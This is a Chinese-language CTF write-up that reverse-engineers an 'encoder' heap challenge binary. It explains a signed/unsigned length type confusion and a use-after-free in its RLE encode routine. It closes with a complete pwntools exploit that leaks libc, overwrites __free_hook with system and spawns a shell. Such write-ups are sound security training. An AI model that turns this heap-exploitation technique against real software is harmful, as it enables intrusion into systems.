逆向

内存管理

先运行下程序大概知道每个函数干嘛的。这里的删除函数代码量较少,可以先从这里入手看看内存布局

void __fastcall sub_2184()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  printf("FileIdx: ");
  idx = sub_1376();
  if ( idx <= 0x1F )
  {
    if ( *((_DWORD *)&unk_5060 + 8 * (int)idx) )
    {
      if ( *((_DWORD *)&unk_5060 + 8 * (int)idx) > 0x10u )
      {
        free(*((void **)&unk_5078 + 4 * (int)idx));
        *((_QWORD *)&unk_5078 + 4 * (int)idx) = 0LL;
        *((_DWORD *)&unk_5060 + 8 * (int)idx) = 0;
      }
    }
    else
    {
      puts("Invalid File");
    }
  }
}

一眼盯真的先修下,根据经验这个 0x5060 的地方应该是管理堆的,但是后面 free 的时候又是从 0x5078 这里取的。这个强转有点难看,直接看汇编

; 13:         (&qword_5078)[4 * (int)idx] = 0LL;
.text:0000000000002224 8B 45 FC                      mov     eax, [rbp+idx]
.text:0000000000002227 48 98                         cdqe
.text:0000000000002229 48 C1 E0 05                   shl     rax, 5
.text:000000000000222D 48 89 C2                      mov     rdx, rax
.text:0000000000002230 48 8D 05 41 2E 00 00          lea     rax, qword_5078
.text:0000000000002237 48 C7 04 02 00 00 00 00       mov     qword ptr [rdx+rax], 0
.text:000000000000223F                               ; 14:         *((_DWORD *)&unk_5060 + 8 * (int)idx) = 0;
.text:000000000000223F 8B 45 FC                      mov     eax, [rbp+idx]
.text:0000000000002242 48 98                         cdqe
.text:0000000000002244 48 C1 E0 05                   shl     rax, 5
.text:0000000000002248 48 89 C2                      mov     rdx, rax
.text:000000000000224B 48 8D 05 0E 2E 00 00          lea     rax, unk_5060
.text:0000000000002252 C7 04 02 00 00 00 00          mov     dword ptr [rdx+rax], 0

除了最后 mov 的类型不一样其他都是一样的,都可以看成数组操作。然后再到 upload 函数看看这两个到底是什么东西

这个函数有点复杂,先慢慢逆,我们此时的目的是看这两个数组是什么东西,把这两个地址标上色看看对他们的访问情况。

add

在下面的 read 函数这里我们可以看到读入的内存,这里应该就是放内容的地方。然后很明显的可以看到对 0x5078 的操作都是取 content,malloc 之类的,所以这里放的应该是存放内容的指针。同理 0x5060 这里应该是存放 len 的数据。为了好看我们可以把他们放进一个结构体中,正好这两段内存隔得也不远。我们在 gdb 里添加几个 page 看看情况

add

确实是以整个结构为单位分配的,大概就是 4 个内存空间的大小。第一个 size 是 int,第二个是 heap_ptr。大概先这样

struct page
{
int len;
int what;
__int64 one;
__int64 two;
__int64 content;
}

再根据 idx 的判断把 0x5060 处的数据定义为 struct page[0x1f]。然后去其他函数把剩下的成员逆出来。还是优先去简单的函数逆,逆不出来再去复杂的函数。这里的 show 函数就很合适

have = 0;
void __fastcall sub_170F()
{
  int wirte_len; // eax
  unsigned int have; // [rsp+Ch] [rbp-14h]
  unsigned int idx; // [rsp+10h] [rbp-10h]
  __int64 content; // [rsp+18h] [rbp-8h]

  have = 0;
  printf("FileIdx: ");
  idx = sub_1376();
  if ( idx <= 0x1F )
  {
    if ( page_handle[idx].len )
    {
      if ( page_handle[idx].len <= 0x10u )
        content = (__int64)&page_handle[idx].what;
      else
        content = page_handle[idx].content;
      printf("FileData: ");
      while ( page_handle[idx].len > have )
      {
        wirte_len = 512;
        if ( (int)(page_handle[idx].len - have) <= 512 )
          wirte_len = page_handle[idx].len - have;
        have += write(1, (const void *)(content + (int)have), wirte_len);
      }
    }
    else
    {
      puts("Invailde file");
    }
  }
}

主要是这一句 content = (__int64)&page_handle[idx].what;。把本来是 int 的成员当作 content 指针用,猜测:这里是缓冲区吗??那就只有三个成员了,然后去其他函数都没看到使用这几个成员,还有这个类似 show 的缓冲区操作。那最终的结构体应该是这样

struct page
{
  int len;
  char buf[20];
  __int64 content;
};

现在 upload 就很好逆了

have = 0;
  printf("FileIdx: ");
  idx = sub_1376();
  if ( idx < 0x20 )
  {
    printf("FileSize: ");
    input_len = sub_1376();
    if_len = 0x20000;
    if ( input_len <= 0x20000 )
      if_len = input_len;
    use_len = if_len;
    if ( if_len <= 16 )
    {
      content = page_handle[idx].content;
    }
    else
    {
      if ( page_handle[idx].len )
      {
        if ( page_handle[idx].len < (unsigned int)if_len )
        {
          free((void *)page_handle[idx].content);
          page_handle[idx].content = (__int64)malloc(use_len);
          real_size = malloc_usable_size((void *)page_handle[idx].content);
          printf("size: %d\n", real_size);
          printf("checker: 0x%x\n", page_handle[idx].content & 0xFFF);
        }
      }
      else
      {
        page_handle[idx].content = (__int64)malloc(if_len);
        v8 = malloc_usable_size((void *)page_handle[idx].content);
        printf("size: %d\n", v8);
        printf("checker: 0x%x\n", page_handle[idx].content & 0xFFF);
      }
      content = page_handle[idx].content;
    }
    page_handle[idx].len = use_len;
    printf("FileData: ");
    while ( have < use_len )
    {
      remain_len = 256;
      if ( use_len - have <= 256 )
        remain_len = use_len - have;
      read_len = read(0, (void *)(content + have), remain_len);
      if ( read_len <= 0 )
        break;
      have += read_len;
    }
  }
  else
  {
    puts("Invalid file index");
  }

流程

encode 函数

这个函数主要是那个 RLE压缩算法 很难逆,甚至最开始的时候还不知道那个神秘字符串 RLE 是什么,看到解码函数里有对这个字符串匹配的操作才知道去搜这个东西。这里我们不知道这个压缩压缩算法是否有洞,所以我们先动调步过看看返回值和参数的改变

gdb

RLE 之前,rdx 里面就是压缩后的数据的 handle。

11

upload(4,0x20,b'a'*0x8+b'c'*0x8+b'b'*0x8+b'd'*0x8)。大概就是返回压缩后的数据长度,压缩后的数据写到第三个参数,相同的压缩成一个,前面加上数量

      encode_size = RLE(content, len, temp_buf + 2);
      if ( len > 0x10 )
        free(page_handle[idx].content);
      memcpy(temp_buf, "RLE\n", sizeof(_DWORD));
      temp_buf[1] = encode_size;
      *(temp_buf + encode_size + 8) = add_tail((temp_buf + 2), encode_size);
      page_handle[idx].len = encode_size + 12;
      if ( page_handle[idx].len <= 0x10u )
      {
        memcpy(page_handle[idx].buf, temp_buf, page_handle[idx].len);
        free(temp_buf);
      }
      else
      {
        page_handle[idx].content = temp_buf;
      }

程序会把原先的指针释放掉,然后首先在申请的 temp_nuf 中 memcpy 一个“RLE ”,这就是 magic 头,接着会将 encode 后的 size 放到 temp_buf [1] 的位置,从 temp_buf [2] 的位置开始存放数据,所有数据存放完之后,还会在数据末尾存放一个压缩后的数据的 ascll 码之和。然后会判断 encode 之后的数据长度+12 是否小于 0x10,是的话存到 bss 上的 buf,否则把指针表的指针更新为 ptr。压缩后的数据结构是这样的

22

漏洞

这个题洞还挺多的,就是有些利用起来很麻烦。第一个是 upload 里面的类型混淆,if ( page_handle[idx].len < (unsigned int)if_len ) 在 if 判断的时候会把 int 转成无符号 int。那如果先申请一个小 size 的空间,将其 len 更行为-1,那么我们之后再申请多大的空间都不会超过-1(0xffffffff)了,此时就可以有很长一段溢出了。

然后就是 encode 函数里面的这两段,如果 RLE 压缩后的数据很小的话(比如全部一样的数,此时就会出现 uaf 漏洞,因为原流程在 free(temp_buf) 后没有把上面这一步 free 的指针置空

if ( len > 0x10 )
     free((void *)page_handle[idx].content);

if ( page_handle[idx].len <= 0x10u )
      {
        memcpy(page_handle[idx].buf, temp_buf, (unsigned int)page_handle[idx].len);
        free(temp_buf);
      }
      else
      {
        page_handle[idx].content = (__int64)temp_buf;
      }

还有一个在 decode 里面解压缩的步骤。这里是在 len 为 0 的时候才停止解压缩,len 为负不会停止,这明显不符合逻辑,感觉有漏洞,但是利用手法涉及到 RLE 解压缩的原理,放弃

while ( len )
  {
    n = *(ptr + v7) & 0x7F;
    if ( *(ptr + v7) >= 0 )
    {
      memset((v8 + temp_buf), *(v7 + 1 + ptr), n);
      len = len - *(ptr + v7) - *(v7 + 1 + ptr);
      v7 += 2LL;
    }
    else
    {
      memcpy((temp_buf + v8), (v7 + 1 + ptr), n);
      for ( i = 0; i < n + 1; ++i )
        len -= *(v7 + i + ptr);
      v7 += n + 1;
    }
    v8 += n;
  }

利用

利用类型混淆越界打印数据泄露 libc,然后再用 uaf 构造任意写打 free_hook

from pwn import *
#context(os='linux', arch='mips',endian="little", log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
# context(os='linux', arch='amd64')
context.terminal = ['tmux', 'sp', '-h']
       
rv = lambda x            : io.recv(x)
rl = lambda a=False      : io.recvline(a)
ru = lambda a,b=True     : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sd = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b          : io.sendafter(a,b)
sla = lambda a,b         : io.sendlineafter(a,b)
inter = lambda           : io.interactive()

file_name = "./encoder"
elf=ELF(file_name)
url = ""
port = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def debug(filename = file_name,b_slice=[],is_pie=0,is_start = 1):
    global io
    b_string = ""
    if is_pie:
        for i in b_slice:
            b_string += f"b *$rebase({i})\n"
        for i in range(1,2):
            b_string += f"c\n"
    else:
        for i in b_slice:
            b_string += f"b *{hex(i)}\n"
    if is_start :
        io = gdb.debug(filename,b_string)
        return
    else:
        gdb.attach(io,b_string)
        pause()

b_encode=0x1dab
b_slice = [
    b_encode
]
io = process(file_name)
debug(b_slice = b_slice,is_pie=1,is_start=1) 


def cha(num):
    return str(num).encode()

def get_addr(arch):
    if arch == 64:
        return u64(io.recv(6).ljust(8,b'\x00'))
        #return u64(io.recv()[-8:].ljust(8,b'\x00')) 
    else:
        return u32(p.recv(4).ljust(4,b'\x00'))
        #return u32(io.recvuntil(b'\xf7')
def menu(choice):
	sla(b'>>\n',str(choice))
def upload(index,Size,content):
	menu(1)
	sla(b'FileIdx:',str(index).encode())
	sla(b'FileSize:',str(Size).encode())
	sa(b'FileData',content)
def enc(index):
	menu(3)
	sla(b'FileIdx:',str(index).encode())
def dec(index):
	menu(4)
	sla(b'FileIdx:',str(index).encode())
def show(index):
	menu(2)
	sla(b'FileIdx:',str(index).encode())
def free(index):
	menu(5)
	sla(b'FileIdx:',str(index).encode())

upload(0,0x20,b'a'*0x20)
upload(1,0x20,b'b'*0x20)
upload(2,0x450,b'c'*0x450)
upload(3,0x20,b'd'*0x20)

upload(0, -1, b'a'*0x10)
upload(0, 0x30, b'a'*0x28+p64(0x51)) #len已经被修改,越界写1,造成chunk_extent
free(1)

upload(1, 0x40, b'a'*0x20+p64(0)+p64(0x461)+b'a'*0x10)  #补0x40个数据 

free(2)
show(1)

ru(b'FileData: ')
a=io.recv(48)
libcbase = get_addr(64) - (0x7f46f398fbe0-0x7f46f37a3000)
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']

upload(4,0x20,b'a'*0x10+b'c'*0x10) 

enc(4)      
enc(3)  
upload(3,0x8,p64(free_hook))    #uaf覆写指针到free_hook
upload(5,0x20,b'/bin/sh\x00'*4)  #构造参数
upload(6,0x20,p64(system)+p64(0)*3) #任意申请内存
free(5)
inter()

附件